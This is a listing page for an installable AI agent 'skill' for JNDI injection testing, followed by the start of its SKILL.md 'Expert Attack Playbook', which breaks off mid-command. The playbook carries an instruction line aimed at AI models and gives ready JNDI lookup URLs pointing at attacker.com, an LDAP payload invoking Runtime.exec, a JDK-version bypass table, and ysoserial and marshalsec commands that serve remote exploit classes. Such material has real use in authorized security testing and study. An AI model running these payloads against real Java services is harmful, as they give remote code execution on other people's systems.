
Jndi Injection
Run a structured JNDI injection assessment when Java apps call InitialContext.lookup with attacker-influenced names, including Log4Shell-class paths.
Overview
JNDI injection is an agent skill for the Ship phase that guides authorized testing when Java applications perform JNDI lookups with attacker-controlled names.
Install
npx skills add https://github.com/yaklang/hack-skills --skill jndi-injectionWhat is this skill?
- Maps InitialContext.lookup abuse separate from generic deserialization confusion
- Covers RMI/LDAP remote class loading and post-8u191 gadget bypass paths
- Log4Shell (CVE-2021-44228) and marshalsec-oriented exploitation workflow
- Routes to deserialization-insecure and expression-language-injection sibling skills when chains overlap
- JDK version constraints and lookup mechanism triage baked into the playbook
- References CVE-2021-44228 (Log4Shell)
- Documents post-8u191 JDK constraint context
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 0/3 security scanners passed (skills.sh audits).
What problem does it solve?
You are reviewing a Java service and need a precise JNDI injection methodology instead of lumping every RCE vector under deserialization.
Who is it for?
Indie builders or small teams doing authorized appsec review on Log4j2, Spring, or custom InitialContext.lookup usage before launch.
Skip if: Unauthorized scanning, non-Java stacks, or builders who only need dependency version bumps without exploit-path analysis.
When should I use this skill?
Use when Java applications perform JNDI lookups with attacker-controlled names, especially via Log4j2, Spring, or any code path reaching InitialContext.lookup().
What do I get? / Deliverables
You get a routed expert playbook covering lookup sinks, exploitation constraints, and handoffs to deserialization or EL skills when the chain demands it.
- Triage notes on lookup sinks, JDK constraints, and recommended sibling-skill follow-ups
Recommended Skills
Journey fit
Ship is where you harden and red-team Java services before or after release, not where you draft product ideas. Security subphase matches offensive validation of lookup sinks, RMI/LDAP class loading, and JDK-version constraints.
How it compares
Skill playbook for targeted JNDI surface validation—not a generic CVE scanner or production WAF configuration guide.
Common Questions / FAQ
Who is jndi-injection for?
Security-minded solo developers and testers with written permission to assess Java apps that expose JNDI lookup sinks.
When should I use jndi-injection?
During Ship security review when parameters or headers may reach InitialContext.lookup, especially around Log4j2, Spring JNDI, or enterprise Java middleware.
Is jndi-injection safe to install?
The skill content is offensive-security documentation; install only if you need authorized testing guidance and review the Security Audits panel on this page before use.
Workflow Chain
Then invoke: deserialization insecure, expression language injection
SKILL.md
READMESKILL.md - Jndi Injection
# SKILL: JNDI Injection — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE-2021-44228), marshalsec tooling, and post-8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization — this file clarifies the distinct attack surface. ## 0. RELATED ROUTING - [deserialization-insecure](../deserialization-insecure/SKILL.md) when JNDI leads to deserialization (post-8u191 bypass path) - [expression-language-injection](../expression-language-injection/SKILL.md) when the JNDI sink is reached via SpEL or OGNL expression evaluation --- ## 1. CORE MECHANISM JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA). **Vulnerability**: when `InitialContext.lookup(USER_INPUT)` receives an attacker-controlled URL, the JVM connects to the attacker's server and loads/executes arbitrary code. ```java // Vulnerable code pattern: String name = request.getParameter("resource"); Context ctx = new InitialContext(); Object obj = ctx.lookup(name); // name = "ldap://attacker.com/Exploit" ``` --- ## 2. ATTACK VECTORS ### RMI (Remote Method Invocation) ``` rmi://attacker.com:1099/Exploit ``` Attacker runs an RMI server returning a `Reference` object pointing to a remote class: ```java // Attacker's RMI server returns: Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/"); // JVM downloads http://attacker.com/Exploit.class and instantiates it ``` ### LDAP ``` ldap://attacker.com:1389/cn=Exploit ``` Attacker runs an LDAP server returning entries with `javaCodeBase`, `javaFactory`, or serialized object attributes. LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI). ### DNS (detection only) ``` dns://attacker-dns-server/lookup-name ``` Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS. --- ## 3. JDK VERSION CONSTRAINTS AND BYPASS | JDK Version | RMI Remote Class | LDAP Remote Class | Bypass | |---|---|---|---| | < 8u121 | YES | YES | Direct class loading | | 8u121 – 8u190 | NO (`trustURLCodebase=false`) | YES | Use LDAP vector | | >= 8u191 | NO | NO | Return serialized gadget object via LDAP | | >= 8u191 (alternative) | NO | NO | `BeanFactory` + EL injection | ### Post-8u191 Bypass: LDAP → Serialized Gadget Instead of returning a remote class URL, the attacker's LDAP server returns a **serialized Java object** in the `javaSerializedData` attribute. The JVM deserializes it locally — if a gadget chain (e.g., CommonsCollections) is on the classpath, RCE is achieved. ```bash # ysoserial JRMPListener approach: java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id" # Then JNDI lookup points to: rmi://attacker:1099/whatever ``` ### Post-8u191 Bypass: BeanFactory + EL When Tomcat's `BeanFactory` is on the classpath, the LDAP response can reference it as a factory with EL expressions: ``` javaClassName: javax.el.ELProcessor javaFactory: org.apache.naming.factory.BeanFactory forceString: x=eval x: Runtime.getRuntime().exec("id") ``` --- ## 4. TOOLING ### marshalsec — JNDI Reference Server ```bash # Start LDAP server serving a remote class: java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389 # Start RMI server: java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099 # The #Exploit refers to Exploit.class hosted at http://attacker.com/Exploit.class ``` ### JNDI-Injection-Exploit (all-in-one) ```bash java -jar JNDI-Injection-Exp